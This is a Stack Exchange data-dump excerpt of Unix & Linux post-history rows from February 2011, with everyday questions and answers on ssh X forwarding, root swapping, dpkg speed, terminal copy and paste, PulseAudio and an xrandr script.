  <row Id="16768" PostHistoryTypeId="2" PostId="7229" RevisionGUID="54883040-bc13-43e6-933e-6796ceb2fe16" CreationDate="2011-02-11T09:46:43.457" UserId="4137" Text="You can use ssh -X or ssh -Y to his machine to run apps on your friend's machine but using your Xorg. The web browser will still be making the connection from his hostname." />
  <row Id="16769" PostHistoryTypeId="2" PostId="7230" RevisionGUID="914d90b3-32a2-4e7c-bd57-0a782379c0b7" CreationDate="2011-02-11T09:50:34.457" UserId="4689" Text="I am developing an embedded Linux system. The system is usually installed by creating a ISO file which is written to a USB stick the board can boot from.&#xD;&#xA;&#xD;&#xA;To make the installation possible to do automatically (say, over night) I would like to be able to do the installation on the board while the old system is running.&#xD;&#xA;&#xD;&#xA;My installation has two parts: An initrd file which contains busybox and install scripts, and a .tar.gz archive that has the rest of the root file system to install.&#xD;&#xA;&#xD;&#xA;1. The bootloader loads the kernel and points it to the initrd, and boots the kernel.&#xD;&#xA;2. The initrd install scripts mounts the target drive /dev/sda, formats it, installs the bootloader, and finally copies the root file system from .tar.gz and initrd.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now I instead want to&#xD;&#xA;&#xD;&#xA;1. Copy install.iso from host computer to target device. (No problem)&#xD;&#xA;2. Do the installation steps as above.&#xD;&#xA;&#xD;&#xA;My problem is that I don't know how I should go about replacing the currently running system with my new one. I assume that the currently mounted root (/) would have to be unmounted and replaced by the initrd. But I can't seem to figure out how!" />
  <row Id="16770" PostHistoryTypeId="1" PostId="7230" RevisionGUID="914d90b3-32a2-4e7c-bd57-0a782379c0b7" CreationDate="2011-02-11T09:50:34.457" UserId="4689" Text="Swap root at runtime" />
  <row Id="16771" PostHistoryTypeId="3" PostId="7230" RevisionGUID="914d90b3-32a2-4e7c-bd57-0a782379c0b7" CreationDate="2011-02-11T09:50:34.457" UserId="4689" Text="éfilesystemsàéinstallàéembeddedàéchrootà" />
  <row Id="16772" PostHistoryTypeId="2" PostId="7231" RevisionGUID="946c45df-7508-475e-97c9-40509c0c33e3" CreationDate="2011-02-11T09:57:24.630" UserId="4485" Text="     find tmp -not -name X -not -name Y -not -name Z -delete &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16773" PostHistoryTypeId="2" PostId="7232" RevisionGUID="e86443f8-ef99-4782-b9c6-f6f4ffa94302" CreationDate="2011-02-11T10:30:30.537" UserId="3069" Text="Switch to a second terminal, for example tty2: &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;F2&lt;/kbd&gt;, login and start a new X session on an available display:&#xD;&#xA;&#xD;&#xA;    xinit -- :1&#xD;&#xA;&#xD;&#xA;Now ssh to the other machine, enabling X forwarding (or trusted X forwarding with `-Y`):&#xD;&#xA;&#xD;&#xA;    ssh -X user@machine&#xD;&#xA;&#xD;&#xA;Once logged in, start a new gnome-session:&#xD;&#xA;&#xD;&#xA;    gnome-session&#xD;&#xA;&#xD;&#xA;You can also pass `gnome-session` as a command to `ssh`." />
  <row Id="16774" PostHistoryTypeId="2" PostId="7233" RevisionGUID="5c2985bb-7989-40d5-aefe-59ceeadb921f" CreationDate="2011-02-11T10:35:40.447" UserId="678" Text="    ls -1 | grep -v &quot;^[XYZ]$&quot; # | xargs rm -r&#xD;&#xA;**Attention:** Run the command and if the files to be deleted are the right ones, run it again and delete the hash character &quot;#&quot;.&#xD;&#xA;&#xD;&#xA;If the filenames are more complicated then that, do&#xD;&#xA;&#xD;&#xA;    ls -1 | egrep -v &quot;^file1$|^filename2$|^f1le$&quot; # | xargs rm -r&#xD;&#xA;Again, first look at the results then remove the hash sign." />
  <row Id="16775" PostHistoryTypeId="2" PostId="7234" RevisionGUID="f5890ec9-7f74-4b95-a9ad-af25537cf062" CreationDate="2011-02-11T11:03:31.950" UserId="1144" Text="I can think of different ways to do what you want. All of which carry a level of risk and difficulty. The main risk being that if the install goes wrong/breaks you will end up with an unbootable system that needs installing manually.&#xD;&#xA;&#xD;&#xA;My main thought (which depends on your boot loader and similar) would be to use exactly the procedure that you have now. Basically copy the new install image onto your USB stick which is permanently left in the machine. Then just reboot and let it boot from that and install normally.&#xD;&#xA;&#xD;&#xA;It relies on the following&#xD;&#xA;&#xD;&#xA; 1. Hands-off install. I'm assuming that you have that otherwise an overnight reinstall would not be a problem.&#xD;&#xA; 2. Your boot loader being able to choose between USB or local filesystem boot automatically (or via an application level command before rebooting)&#xD;&#xA; 2. At the end you need to configure your boot loader to boot from the local board rather than the USB device or just erase the contents of the USB device/make it unbootable so that the bootloader falls over&#xD;&#xA;&#xD;&#xA;An alternative to that would be to have two boot/root partitions on your board and just install into the one that you aren't using and at the end of the reboot force your bootloader to boot into the other. You could use a chroot environment to force your installer to think that it was booting from scratch. That is probably a big change in your environment though and would not be a quick win." />
  <row Id="16776" PostHistoryTypeId="2" PostId="7235" RevisionGUID="0a5b1a4e-841d-4521-a2ef-21f3fb79c697" CreationDate="2011-02-11T11:08:42.207" UserId="4691" Text="The &lt;a href=&quot;http://screencasts.ubuntu.com/&quot;&gt;Ubuntu Screencast Team&lt;/a&gt; use ``gtk-recordmydesktop``." />
  <row Id="16777" PostHistoryTypeId="25" PostId="7226" RevisionGUID="d32e5471-6ea5-4b56-b539-bca90534d248" CreationDate="2011-02-11T11:22:39.877" Comment="http://twitter.com/#!/StackUnix/status/36022298511151104" />
  <row Id="16781" PostHistoryTypeId="5" PostId="6893" RevisionGUID="3a14d57f-b2e1-42ff-8f73-cb870062e818" CreationDate="2011-02-11T12:27:28.757" UserId="688" Comment="added 114 characters in body" Text="A lot of times when I (un)install packages, I get strange warning messages. Here's a snippet:&#xD;&#xA;&#xD;&#xA;	Processing triggers for libglib2.0-0 ...&#xD;&#xA;	Processing triggers for man-db ...&#xD;&#xA;	Processing triggers for desktop-file-utils ...&#xD;&#xA;	Processing triggers for gnome-menus ...&#xD;&#xA;	Processing triggers for menu ...&#xD;&#xA;	Processing triggers for gconf2 ...&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	Processing triggers for hicolor-icon-theme ...&#xD;&#xA;	Processing triggers for shared-mime-info ...&#xD;&#xA;&#xD;&#xA;Anyone knows what causes this? These seem like harmless messages, but what do they mean? How to I get rid of them?&#xD;&#xA;&#xD;&#xA;[**update**] Running `sudo gconf-schemas --register-all` doesn't help, and gives me the same warning messages.&#xD;&#xA;&#xD;&#xA;[__note__] I use Debian Squeeze.&#xD;&#xA;" />
  <row Id="16782" PostHistoryTypeId="2" PostId="7237" RevisionGUID="ac16b26a-e0d9-48f3-9636-afe394ee6e03" CreationDate="2011-02-11T12:27:30.520" UserId="4695" Text="Have you tried mounting initrd and then pivot_root? It seems what you want to do." />
  <row Id="16783" PostHistoryTypeId="5" PostId="6890" RevisionGUID="026ab228-d058-41d5-92ed-ad04e7ff62ce" CreationDate="2011-02-11T12:37:47.953" UserId="688" Comment="added 88 characters in body" Text="It happens often that my cursor on `gnome-terminal` disappears, forcing me to work on a new tab/window. It seems like a random occurrence. Does anyone else experience this? What about other X terminal emulators? How can I fix this (or maybe it's just a bug)?&#xD;&#xA;&#xD;&#xA;[**update**] I simple work-around is to switch away from the terminal and switch back." />
  <row Id="16784" PostHistoryTypeId="2" PostId="7238" RevisionGUID="d1f47523-3e8e-4283-8f52-bd936c543b3f" CreationDate="2011-02-11T12:50:25.167" UserId="688" Text="Package (un)installation on a Debian system is horribly slow, partly because it works with a whole bunch of (small) files. Short of getting a faster storage, how do I speed it up? I'm thinking maybe loading &quot;**/var**&quot; directory onto RAM as one solution, but how do I do that? Is there a 'better' solution?" />
  <row Id="16785" PostHistoryTypeId="1" PostId="7238" RevisionGUID="d1f47523-3e8e-4283-8f52-bd936c543b3f" CreationDate="2011-02-11T12:50:25.167" UserId="688" Text="How to make dpkg faster?" />
  <row Id="16786" PostHistoryTypeId="3" PostId="7238" RevisionGUID="d1f47523-3e8e-4283-8f52-bd936c543b3f" CreationDate="2011-02-11T12:50:25.167" UserId="688" Text="édebianàépackageömanagementàéperformanceàédpkgà" />
  <row Id="16788" PostHistoryTypeId="2" PostId="7239" RevisionGUID="f46e121a-92be-4768-b4a6-dc16c9b3f0ad" CreationDate="2011-02-11T13:09:17.353" UserId="576" Text="Here is an example of the instructions for installing a Brother printer:&#xD;&#xA;&#xD;&#xA;http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/instruction_prn3.html&#xD;&#xA;&#xD;&#xA;and this just a part of the procedure... there are separate &quot;pre-install&quot; procedures and separate procedures for scanning and fax drivers.&#xD;&#xA;&#xD;&#xA;Couldn't the vendor produce a single package for each model of hardware that would &quot;do everything&quot;?  If so, why don't they?  And could the &quot;community&quot; do it for them?" />
  <row Id="16789" PostHistoryTypeId="1" PostId="7239" RevisionGUID="f46e121a-92be-4768-b4a6-dc16c9b3f0ad" CreationDate="2011-02-11T13:09:17.353" UserId="576" Text="Can driver installation procedures be made into a single package?" />
  <row Id="16790" PostHistoryTypeId="3" PostId="7239" RevisionGUID="f46e121a-92be-4768-b4a6-dc16c9b3f0ad" CreationDate="2011-02-11T13:09:17.353" UserId="576" Text="éhardwareàédriversà" />
  <row Id="16791" PostHistoryTypeId="2" PostId="7240" RevisionGUID="c7565343-130a-4f17-8e81-33415780518d" CreationDate="2011-02-11T13:22:11.040" UserId="3976" Text="If all you need to do is run a web session, appearing to come from your friend's computer, I'd suggest just running OpenSSH with the ssh -D8888 argument (8888 is just an example), and set up your local browser to point to localhost:8888 as a SOCKS5 proxy.&#xD;&#xA;&#xD;&#xA;If you must run a browser over the link, there's no reason why you need to start up an entire GNOME session, just run ssh -X as described in the other questions, and then run the browser alone.  " />
  <row Id="16792" PostHistoryTypeId="2" PostId="7241" RevisionGUID="989f42a8-6c5f-4036-8c28-593bde15f447" CreationDate="2011-02-11T14:08:08.040" UserId="3976" Text="RHEL4 (and CentOS4) still ships gtk+-1.2 packages.  It looks like their gnome-libs package uses it." />
  <row Id="16793" PostHistoryTypeId="25" PostId="7239" RevisionGUID="546ee7b8-e55d-4346-bce3-5d1baf756119" CreationDate="2011-02-11T14:22:39.883" Comment="http://twitter.com/#!/StackUnix/status/36067596386172928" />
  <row Id="16794" PostHistoryTypeId="2" PostId="7242" RevisionGUID="ac7bd931-0872-492d-ab3c-bf08dd844187" CreationDate="2011-02-11T15:47:33.400" UserId="3459" Text="For this solution you are going to need a version of dpkg of at least 1.15.8.6.&#xD;&#xA;&#xD;&#xA;Since that version of dpkg, there is a new `force-unsafe-io` option that will disable dpkg from calling sync() and the like between every package. You can add this option to the config in /etc/dpkg so that it is always in effect.&#xD;&#xA;&#xD;&#xA;If you have an older version of dpkg you can alternatively use [eatmydata](http://www.flamingspork.com/projects/libeatmydata/).&#xD;&#xA;&#xD;&#xA;And remember both of these solutions are unsafe and probably will lead to data loss if there is a power failure while or shortly after dpkg is running." />
  <row Id="16795" PostHistoryTypeId="5" PostId="7217" RevisionGUID="f0af301f-7cc7-480f-883e-f469c8d55f4e" CreationDate="2011-02-11T16:03:54.280" UserId="4669" Comment="added 132 characters in body" Text="I'm looking for a software to do live screen-cast of our local user group meeting. What software can I use to do that? Ideally I'd like to capture the computer screen and speaker's audio and stream it live?&#xD;&#xA;&#xD;&#xA;Edit: I'm not looking to just record my desktop and upload the video. I'm trying to live stream the desktop as it is happening. " />
  <row Id="16796" PostHistoryTypeId="5" PostId="7235" RevisionGUID="caeada2b-1d8c-486f-8666-6ba763df91b1" CreationDate="2011-02-11T16:23:13.697" UserId="1207" Comment="added 1 characters in body" Text="The &lt;a href=&quot;http://screencasts.ubuntu.com/&quot;&gt;Ubuntu Screencast Team&lt;/a&gt; uses ``gtk-recordmydesktop``." />
  <row Id="16797" PostHistoryTypeId="2" PostId="7243" RevisionGUID="3cc00d58-0ee9-426b-a27e-579ba15ce79b" CreationDate="2011-02-11T16:39:21.473" UserId="250" Text="This makes me remember the process of installing the proprietary driver for my [ATI graphics card][1]. The package from ATI is really the &quot;single package&quot; that you are talking about. It does everything needed for the driver to work.&#xD;&#xA;&#xD;&#xA;So, from the experience above the answer is yes, the vendor can provide convenient Linux packages. However, doing so would require extra effort (read: money). Some company do, some don't, and some provide a &quot;best effort&quot; support.&#xD;&#xA;&#xD;&#xA;What the community really want, is for the companies to release hardware specifications needed to implement opensource versions of the drivers, so as not to depend on the company to release updates/bugfixes for the drivers. However, some companies want to keep a secret over their specifications, which makes opensource drivers not universally available.&#xD;&#xA;&#xD;&#xA;In your case I think the process is still pretty simple, just a config file and service restarting. Of course the &quot;community&quot; (that includes you) could have wrapped it in a package, the same way that flash is included in many distros. Maybe the piece of hardware is just not popular enough to gain attention among packagers...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.amd.com/us/gpudownload/linux/Pages/radeon_linux.aspx?type=2.4.2&amp;product=2.4.2.3.32&amp;lang=English" />
  <row Id="16798" PostHistoryTypeId="2" PostId="7244" RevisionGUID="7d4e56ea-5380-422a-9fca-fc1393fbb1f2" CreationDate="2011-02-11T16:47:12.570" UserId="4699" Text="ArchLinux still allows you to install GTK1. The [package page][1] also lists a few apps depending on it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archlinux.org/packages/extra/x86_64/gtk/ &quot;Package page&quot;" />
  <row Id="16799" PostHistoryTypeId="2" PostId="7245" RevisionGUID="1de70811-2f6f-4152-ad37-5ba9c28ed144" CreationDate="2011-02-11T16:50:24.803" UserId="3139" Text="Is there a sure-fire method to cut &amp; paste word-wrap on X-based terminals?  That is, if I select, then paste via button-3, if the text goes to the end of the line and wraps, the paste assumes carriage return and inserts it.  I'd rather:&#xD;&#xA;&#xD;&#xA;    if (endcolumn==non-space character) {&#xD;&#xA;      assume wordwrap&#xD;&#xA;    }&#xD;&#xA;    else {&#xD;&#xA;      insert carriage return after last non-space character&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This drives me crazy.  Especially when pasting code that is &gt; 80 columns.  Sometimes it works, most of the time it doesn't.&#xD;&#xA;" />
  <row Id="16800" PostHistoryTypeId="1" PostId="7245" RevisionGUID="1de70811-2f6f-4152-ad37-5ba9c28ed144" CreationDate="2011-02-11T16:50:24.803" UserId="3139" Text="Select/Paste Word-Wrap on X-Based Terminals" />
  <row Id="16801" PostHistoryTypeId="3" PostId="7245" RevisionGUID="1de70811-2f6f-4152-ad37-5ba9c28ed144" CreationDate="2011-02-11T16:50:24.803" UserId="3139" Text="écopyöpasteà" />
  <row Id="16802" PostHistoryTypeId="2" PostId="7246" RevisionGUID="2d8847ab-0e5a-405a-a415-d116ded6d3bd" CreationDate="2011-02-11T16:54:31.623" UserId="4699" Text="If I'm reading the question correctly, you want to use a GTK theme provided by KDE. All you have to do is to modify **~/.gtkrc-2.0** (there are a few applications allowing you to select the theme in a GUI, i.e. lxappearance) and start an application using GTK." />
  <row Id="16804" PostHistoryTypeId="2" PostId="7248" RevisionGUID="479fc35c-aeac-4c92-9422-fa28eaee7b1a" CreationDate="2011-02-11T17:14:06.737" UserId="4397" Text="I'm using Arch Linux x86_64 with Gnome and PulseAudio. I have USB speakers, which work for the sounds in system menus and most other applications. But whenever I play Flash videos, they output their sound through the onboard sound card (which usually isn't hooked up to anything). This happens in both Firefox and Chromium. I can't find anything that would let me redirect Flash's audio output to my USB speakers.&#xD;&#xA;&#xD;&#xA;The following relevant packages are installed:&#xD;&#xA;&#xD;&#xA;`gnome-media-pulse`  &#xD;&#xA;`gnome-settings-daemon-pulse`   &#xD;&#xA;`libcanberra-pulse`  &#xD;&#xA;`pavucontrol`  &#xD;&#xA;`pulseaudio`  &#xD;&#xA;`pulseaudio-alsa`  &#xD;&#xA;`lib32-libcanberra-pulse`  &#xD;&#xA;`lib32-libpulse`  &#xD;&#xA;`flashplugin`" />
  <row Id="16805" PostHistoryTypeId="1" PostId="7248" RevisionGUID="479fc35c-aeac-4c92-9422-fa28eaee7b1a" CreationDate="2011-02-11T17:14:06.737" UserId="4397" Text="Flash using wrong audio output with Pulseaudio" />
  <row Id="16806" PostHistoryTypeId="3" PostId="7248" RevisionGUID="479fc35c-aeac-4c92-9422-fa28eaee7b1a" CreationDate="2011-02-11T17:14:06.737" UserId="4397" Text="éarchölinuxàéaudioàéflashà" />
  <row Id="16807" PostHistoryTypeId="25" PostId="7245" RevisionGUID="49fd9b79-2683-4615-8399-929e202bcf46" CreationDate="2011-02-11T17:22:39.700" Comment="http://twitter.com/#!/StackUnix/status/36112894378647552" />
  <row Id="16808" PostHistoryTypeId="5" PostId="7248" RevisionGUID="28cfb4d7-6f84-4e33-8a2f-ab44956d8926" CreationDate="2011-02-11T17:25:39.700" UserId="3069" Comment="added 1 characters in body" Text="I'm using Arch Linux x86_64 with Gnome and PulseAudio. I have USB speakers, which work for the sounds in system menus and most other applications. But whenever I play Flash videos, they output their sound through the onboard sound card (which usually isn't hooked up to anything). This happens in both Firefox and Chromium. I can't find anything that would let me redirect Flash's audio output to my USB speakers.&#xD;&#xA;&#xD;&#xA;The following relevant packages are installed:&#xD;&#xA;&#xD;&#xA;    gnome-media-pulse&#xD;&#xA;    gnome-settings-daemon-pulse&#xD;&#xA;    libcanberra-pulse&#xD;&#xA;    pavucontrol&#xD;&#xA;    pulseaudio&#xD;&#xA;    pulseaudio-alsa&#xD;&#xA;    lib32-libcanberra-pulse&#xD;&#xA;    lib32-libpulse&#xD;&#xA;    flashplugin" />
  <row Id="16809" PostHistoryTypeId="2" PostId="7249" RevisionGUID="98b2202d-c3f0-4744-afcd-42e6b50d31ca" CreationDate="2011-02-11T17:28:50.053" UserId="4701" Text="In this [link][1] you can download it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kde-look.org/content/show.php/Oxygen+Gtk?content=136216" />
  <row Id="16813" PostHistoryTypeId="2" PostId="7251" RevisionGUID="741254ed-8eaf-40ad-bdc5-fcd9d46281f7" CreationDate="2011-02-11T17:38:30.333" UserId="3848" Text="I agree this makes a huge difference in usability.  I find it very important to be able to triple-click and copy/paste lines which have wrapped.  There are two ways this can work correctly.  Either triple-click (and click drag) selects past the end of line onto the next visible line, with no CR inserted.  Or else triple click selects only one visible line, but when you paste it, there is no CR.&#xD;&#xA;&#xD;&#xA;The broken way is when triple-click selects only the visible line, and then it assumes a CR at the end when it pastes.  I have seen bad behavior from xterm and gnome terminal.  I've seen good behavior from Mac Terminal app, and from iTerm which is another Mac terminal app.&#xD;&#xA;&#xD;&#xA;I have no hints for turning a bad situation into a good one other than trying a different terminal program.  I'm certain this ties into whether the terminal program actually remembers the locations of all the CRs it sees, or whether it simply interprets the CR and then forgets it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16814" PostHistoryTypeId="5" PostId="7222" RevisionGUID="5af4eaac-5f96-498f-bdbd-b93caa3e7d8b" CreationDate="2011-02-11T18:39:08.477" UserId="2343" Comment="A better answer...; added 9 characters in body" Text="**UPDATE!** I finally found a way to do it!  (These questions sure put the pressure on!)...  &#xD;&#xA;&#xD;&#xA;I gave up on the ffmpeg option... The documentation says its possible, but I can't figure it out, and it seems that no one has posted a working example on the net. (but lots of questions about it)...  &#xD;&#xA;&#xD;&#xA;So, I got to thinking about what sort of paramaters the Windows MP4Box was using for its subtitles... (the slightest hint can be helpful)... &#xD;&#xA;&#xD;&#xA;As fate had it, in my search I stumbled on something about an mp4 tool being talked about on a Mac oriented site...  well this got me thinking that if that progam is available on the Mac, maybe it is in the Ubuntu repository, and yes, you've guessed it... It is in the repos...&#xD;&#xA;&#xD;&#xA;It is called 'gpoc'... 'gpoc' is the name of packabe, but the name of the actual commandline program (it is a CLI).. is.... **MP4Box**!  &#xD;&#xA;&#xD;&#xA;And it works...  &#xD;&#xA;&#xD;&#xA;Here is an example of what worked for me..&#xD;&#xA;&#xD;&#xA;    MP4Box  -add ~/file.noaudio.mp4 \&#xD;&#xA;            -add ~/file.mp3 \&#xD;&#xA;            -add ~/file.srt \&#xD;&#xA;                 ~/file.MP4Box.mp4   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I used a video-only and audio-only, but it will surely(?) work with a normal audio+video &quot;movie&quot; ....  It's very late so I'll just leave it at that... ...  &#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;Note: The subtitles works in Totem, but not in SMPlayer...   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  * My original post starts here.  &#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;Well, this isn't the answer you or I want, (but I'm getting closer :)... &#xD;&#xA;&#xD;&#xA;It is definitley do-able.. ie. to have one, or many, subtitle streams inside the mp4 file. This means that no re-encoding of the video is needed... It just needs to be re-muxed.  &#xD;&#xA;&#xD;&#xA;It is quite simple using a .srt subtitles file.   &#xD;&#xA;&#xD;&#xA;You need 3 programs.. The main program is called VirtualBox... &#xD;&#xA;Then you need a plugin for VirtualBox. That plugin is called Windows.  (yes, I do enjoy calling it a plugin :)   &#xD;&#xA;Then you need another sub-plugin for the Windows plugin.. This next sub plugin is called YAMB (the &quot;full&quot; version which includes MP4Box; YAMB is Yet Another MP4Box GUI)... &#xD;&#xA;&#xD;&#xA;From there on it is a simple as  point click drag drop done...  &#xD;&#xA;&#xD;&#xA;Now I've only tried this out to make sure it could be done, and it does work.  &#xD;&#xA;I feel pretty sure that ffmpeg can do it too, but I hanven't quite figured that bit out (yet)... but I thought I'd just throw this into the ring to (perhaps) prompt someone who knows the native Linux way....  (I'm keen to know myself)&#xD;&#xA;&#xD;&#xA;PS: We only need one good native Linux answer (google-able) , and then people like me won't need to post obscure options like this, only because they couldn't find an example or explicit documentation easily enough... " />
  <row Id="16815" PostHistoryTypeId="2" PostId="7252" RevisionGUID="1ef7d310-6739-40be-9489-3db98bef6920" CreationDate="2011-02-11T18:53:02.507" UserId="885" Text="Unix terminals don't do word wrap. This is a feature of the application running inside the terminal. The terminal receives the same instructions to display&#xD;&#xA;&#xD;&#xA;    |This is text formatted  |        |This is line 1.         |&#xD;&#xA;    |to 24 columns           |   or   |This is line 2.         |&#xD;&#xA;&#xD;&#xA;If you can, tell your application not to do any wrapping. This way the terminal will wrap, but always on the last column.&#xD;&#xA;&#xD;&#xA;    |This is a single long li|&#xD;&#xA;    |ne of text.             |&#xD;&#xA;&#xD;&#xA;If you triple-click on this, you get `This is a single long line of text` with a newline only at the end (or no newline at all depending on the terminal emulator).&#xD;&#xA;&#xD;&#xA;When pasting, the terminal just sends the text to the application, as if you had typed it. If you observe any behavior such as wrapping that depends on the terminal width, it's due to the application, not to the terminal.&#xD;&#xA;" />
  <row Id="16816" PostHistoryTypeId="6" PostId="7245" RevisionGUID="01c92f00-48d4-4690-9c33-dee8a5dc2415" CreationDate="2011-02-11T18:53:28.217" UserId="885" Comment="edited tags" Text="éterminalàécopyöpasteà" />
  <row Id="16817" PostHistoryTypeId="5" PostId="6679" RevisionGUID="17546ae9-f811-4793-9dcf-e2fb7795b538" CreationDate="2011-02-11T19:04:10.547" UserId="885" Comment="note that the nvidia proprietary driver doesn't use RandR" Text="*Note that (as pointed out by [Wieland H.](http://unix.stackexchange.com/users/4699/wieland-h), this answer assumes a well-behaving video driver. Nvidia's proprietary driver (which used to be required for dual-head operation, I don't know if this is still the case with Nouveau) doesn't use the standard RandR extension, so if you use it most of my answer will be useless and you need to look for an answer that's specific to the `nvidia` driver.*&#xD;&#xA;&#xD;&#xA;Under KDE, the “Multiple Monitors” tab in the “Display” panel in the Control Center (`kcontrol`, KDE 3) or System Settings (`systemsettings`, KDE 4) has just this (click on “Identify all displays”). You don't have to be running KDE as a desktop environment to use this, you just have to have the right component installed.&#xD;&#xA;&#xD;&#xA;If you prefer to do things by hand, the following snippet parses the output from [xrandr](http://linux.die.net/man/1/xrandr). It specifically looks for lines like `DVI-0 connected 1600x1200+3200+0 …`, which gives the position (3200 pixels from the left, 0 pixels from the top), size (width 1600, height 1200), and name (`DVI-0`) of a monitor. It displays a pop-up with this information using `kdialog`. The script kills all `kdialog` instances as soon as one of them returns, which happens when you click on any pop-up.&#xD;&#xA;&#xD;&#xA;Any other program similar to `kdialog` would do, as long as you can specify the position of the pop-up (this isn't the case with the better-known `zenity`). The shell has to be ksh (it can be pdksh or ATT ksh), because other shells (at least, bash and zsh) don't behave well enough in the presence of multiple jobs (specifically, their `wait` built-in isn't interrupted by a SIGCHLD).&#xD;&#xA;&#xD;&#xA;    LC_ALL=C xrandr |&#xD;&#xA;    sed -ne 's/^\([^ ][^ ]*\)  *connected  *\([0-9][0-9]*\)x\([0-9][0-9]*\)+\([0-9][0-9]*\)+\([0-9][0-9]*\) .*$/\1 \2 \3 \4 \5/p' |&#xD;&#xA;    ksh -c '&#xD;&#xA;      i=1&#xD;&#xA;      trap &quot;trap - CHLD&quot; CHLD&#xD;&#xA;      trap : INT&#xD;&#xA;      while read -r name w h x y; do&#xD;&#xA;        kdialog --geometry +$(($x+2*$w/5))+$(($y+2*$h/5)) \&#xD;&#xA;                --passivepopup &quot;$i $name ${w}x${h} +$x+$y&quot; &amp;&#xD;&#xA;        i=$(($i+1))&#xD;&#xA;      done&#xD;&#xA;      sleep 10 &amp;  # Time out after 10 seconds&#xD;&#xA;      wait  # Wait until any of the kdialog instances or sleep returns&#xD;&#xA;      while [ $i -ne 0 ]; do&#xD;&#xA;        kill %$i 2&gt;/dev/null&#xD;&#xA;        i=$(($i-1))&#xD;&#xA;      done&#xD;&#xA;      [ $first -eq 0 ] || echo You clicked on monitor $first&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="16820" PostHistoryTypeId="2" PostId="7254" RevisionGUID="95f0f7b3-10ec-4d3e-a95b-c8e7bba96f43" CreationDate="2011-02-11T19:19:10.310" UserId="4030" Text="Is it a problem of key mapping or a problem of acpi support ?&#xD;&#xA;&#xD;&#xA;Check in /proc/acpi/ if you have some entries like this one : /proc/acpi/video/GFX0/LCDD/brightness&#xD;&#xA;&#xD;&#xA;If you find it, try to set a value maybe like this :&#xD;&#xA;&#xD;&#xA;echo &quot;4&quot; &gt; /proc/acpi/video/GFX0/LCDD/brightness" />
  <row Id="16821" PostHistoryTypeId="6" PostId="7202" RevisionGUID="6b7c0783-4bea-4512-b232-2cda28c9cee3" CreationDate="2011-02-11T19:20:03.887" UserId="885" Comment="edited tags" Text="élinuxàébootöloaderàébiosàéefià" />
  <row Id="16822" PostHistoryTypeId="2" PostId="7255" RevisionGUID="845b0556-c2ac-4733-a462-7dafcfff1e7a" CreationDate="2011-02-11T19:26:58.277" UserId="3651" Text="My Uni account is over disk quota and requesting more quota takes time. Unfortunately, I need disk space *now* and I noticed that the `Trash` file in my home directory is quite a large file.&#xD;&#xA;&#xD;&#xA;Now I’m a total postfix noob but I’m assuming that this somehow relates to my mail inbox? (I do have some doubts, since although his file clearly contains email messages, `tail Trash` reveals that the last message is from 2006).&#xD;&#xA;&#xD;&#xA;Furthermore, my mail client (connected via IMAP) reveals that my trash folder is empty.&#xD;&#xA;&#xD;&#xA;**Can I just delete the Trash file** or do I need to fear dire consequences? The very first message in that file reads as follows:&#xD;&#xA;&#xD;&#xA;    From MAILER-DAEMON Sun Dec  3 13:40:15 2006&#xD;&#xA;    Date: 03 Dec 2006 13:40:15 +0100&#xD;&#xA;    From: Mail System Internal Data &lt;MAILER-DAEMON@human&gt;&#xD;&#xA;    Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA&#xD;&#xA;    Message-ID: &lt;1165149615@human&gt;&#xD;&#xA;    X-IMAP: 1135694114 0000000927 $NotJunk $Junk JunkRecorded&#xD;&#xA;    Status: RO&#xD;&#xA;    &#xD;&#xA;    This text is part of the internal format of your mail folder, and is not&#xD;&#xA;    a real message.  It is created automatically by the mail system software.&#xD;&#xA;    If deleted, important folder data will be lost, and it will be re-created&#xD;&#xA;    with the data reset to initial values.&#xD;&#xA;&#xD;&#xA;Furthermore, there’s another file in my home folder called `Deleted Messages` – what’s the difference between the two?" />
  <row Id="16823" PostHistoryTypeId="1" PostId="7255" RevisionGUID="845b0556-c2ac-4733-a462-7dafcfff1e7a" CreationDate="2011-02-11T19:26:58.277" UserId="3651" Text="Can I safely delete ~/Trash file?" />
  <row Id="16824" PostHistoryTypeId="3" PostId="7255" RevisionGUID="845b0556-c2ac-4733-a462-7dafcfff1e7a" CreationDate="2011-02-11T19:26:58.277" UserId="3651" Text="élargeöfilesàépostfixàéhomeà" />
